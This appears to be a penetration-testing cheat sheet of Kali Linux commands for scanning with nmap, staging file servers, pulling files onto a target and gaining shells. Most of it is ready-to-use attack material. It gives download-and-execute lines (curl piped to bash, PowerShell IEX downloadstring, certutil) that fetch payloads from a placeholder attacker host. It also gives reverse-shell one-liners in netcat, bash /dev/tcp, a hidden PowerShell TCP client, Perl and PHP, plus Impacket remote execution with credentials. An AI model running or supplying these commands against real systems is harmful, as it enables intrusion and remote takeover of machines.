## NMAP

<br />

```bash
# NMAP
# About: A network scanning tool that identifies devices, ports, services, and operating systems 
# Download: Pre-installed on Kali Linux 

# Fast scan of top 100 ports
nmap -F {IP ADDRESS}

# Ping sweep subnet
nmap -sP {IP ADDRESS}/24

# Usage
nmap -p- --min-rate 5000 -sC -sV {IP ADDRESS}

# UDP Scan
sudo nmap -sU  {IP ADDRESS}

# Flags 
# -p-: scans ALL ports
# --min-rate <number>: Send packets no slower than <number> per second
# -sC: equivalent to --script=default
# -sV: Probe open ports to determine service/version info
# -sU: UDP port scan
```

<br />

# Flags
# --type Network : Shows all live hosts in the host's network (~15 seconds)
# --type	Port    : Shows all open ports (~15 seconds)
# --type	Script  : Runs a script scan on found ports (~5 minutes)
# --type	Full    : Runs a full range port scan, then runs a thorough scan on new ports (~5-10 minutes)
# --type	UDP     : Runs a UDP scan "requires sudo" (~5 minutes)
# --type	Vulns   : Runs CVE scan and nmap Vulns scan on all found ports (~5-15 minutes)

####  [STEP 1] Server on Client

<br />

```bash
# Python Server
# About: A python command used to open a server on the client machine
# Download: Pre-installed on Kali Linux

# Python Server
sudo python3 -m http.server {PORT}

# Apache2 Server: var/www/html
sudo systemctl start apache2

# FTP Server: /ftphome/
sudo service pure-ftpd

# SMB SHARE
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py share ./   

# {PORT}: Port to open for file transfer
```
<br />

#### [STEP 2] Download Command on Server 

<br />

```bash
# WGET
# About: A command used to download files on the current machine
# Download: Pre-installed on Kali Linux

# Usage - Download on server machine
wget {IP ADDRESS}/{FILE} -outfile {FILE}
curl {IP ADDRESS}/{FILE}

# Linux - Download file and execute in bash:
curl {IP ADDRESS}/{FILE.sh} | bash

# Windows - Download file using certutil
certutil -split -f -urlcache http://{IP ADDRESS}/{FILE}

# Windows - Download file using powershell
IEX(new-object System.Net.WebClient).DownloadFile('http://{IP ADDRESS}/{FILE.exe}','C:\Users\{USER}\{FILE.exe}')
IEX(new-object System.Net.WebClient).UploadFile('http://{IP ADDRESS}/{FILE.exe}','C:\Users\{USER}\{FILE.exe}')

# Windows - Load a string file and execute in powershell:
IEX(New-Object Net.WebClient).downloadstring("http://{IP ADDRESS}/{FILE}")
Invoke-AllChecks

# SMB SHARE UPLOAD FILE
copy \\{IP ADDRESS}\share\{FILE}

# SMB SHARE DOWNLAOD FILE
net use z: \\{IP ADDRESS}\share\
copy {FILE} z:

# {IP ADDRESS}: IP Address of the client from step one
# {FILE}:       The payload to be transferred
```

# Reverse Shell

<br />

[Reverse Shell Generator](https://www.revshells.com/)

<br />

#### NC Listen - Client [STEP 1]

<br />

```bash
# About: A command used to listen to requests from a defined port
# Download: Pre-installed on Kali Linux

# Usage
sudo nc -lnvp {PORT}

# {PORT}: Select the port used to listen
```
<br />

#### NC Execute - Server [STEP 2]

```bash
# With netcat installed

# Usage - Windows
nc.exe -e cmd.exe {IP ADDRESS} {PORT}

# Usage - Linux 
nc {IP ADDRESS} {PORT} –e /bin/bash

# ===========================================

# Without netcat installed

# Usage - Windows
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("{IP ADDRESS}",{PORT});$s=$client.GetStream();[byte[]]$b=0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2=$sb+"PS "+(pwd).Path+"> ";$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()

# Usage - Linux
bash -i >& /dev/tcp/{IP ADDRESS}/{PORT} 0>&1

# Usage - Perl
perl -e ‘use Socket;$i=”{IP ADDRESS}″;$p={PORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

# Usage - PHP
php -r ‘$sock=fsockopen(“{IP ADDRESS}”,{PORT});exec(“/bin/sh -i <&3 >&3 2>&3”);’

# Alternative - transfer payload via file transfer and execute binary

# {IP ADDRESS}: IP Address of the client from step one (listener)
# {PORT}: Port of the client from step one (listener)

#### Impacket Remote Code Execution

```bash
# atexec.py : Atexec.py: Impacket has a python library that helps an attacker to access the victim host machine remotely through DCE/RPC based protocol used by CIFS hosts to access/control the AT-Scheduler Service and execute the arbitrary system command.

# PsExec.py : PSEXEC like functionality example using RemComSvc, with the help of python script we can use this module for connecting host machine 

# netview.py : It is an enumeration tool. It requires the domain name to enumerate hosts. It can also be provided with a list of hosts or targets

# Smbexec.py : Smbexec.py uses a similar approach to psexec w/o using RemComSvc

# wmiexec.py : A similar approach to smbexec but executing commands through WMI. The main advantage here is it runs under the user (has to be Admin) account, not SYSTEM, plus, it doesn’t generate noisy messages in the event log that smbexec.py does when creating a service.

# Usage
/usr/share/doc/python3-impacket/examples/{IMPACKET.py} {USERNAME}:{PASSWORD}@{IP ADDRESS}

# {USERNAME}: Valid Windows username
# {PASSWORD}: Valid Windows password
# {IP ADDRESS}: Server IP address
```

# Shell Upgrade

<br />

```bash
# About: A command to spawn a new shell using python
# Download: May or may not be installed on server machine

# Usage 
python3 -c 'import pty;pty.spawn("/bin/bash")'

python -c 'import pty;pty.spawn("/bin/bash")'

# Additional Functionality
CTRL + Z
stty raw -echo; fg
enter
export TERM=xterm-256color
```
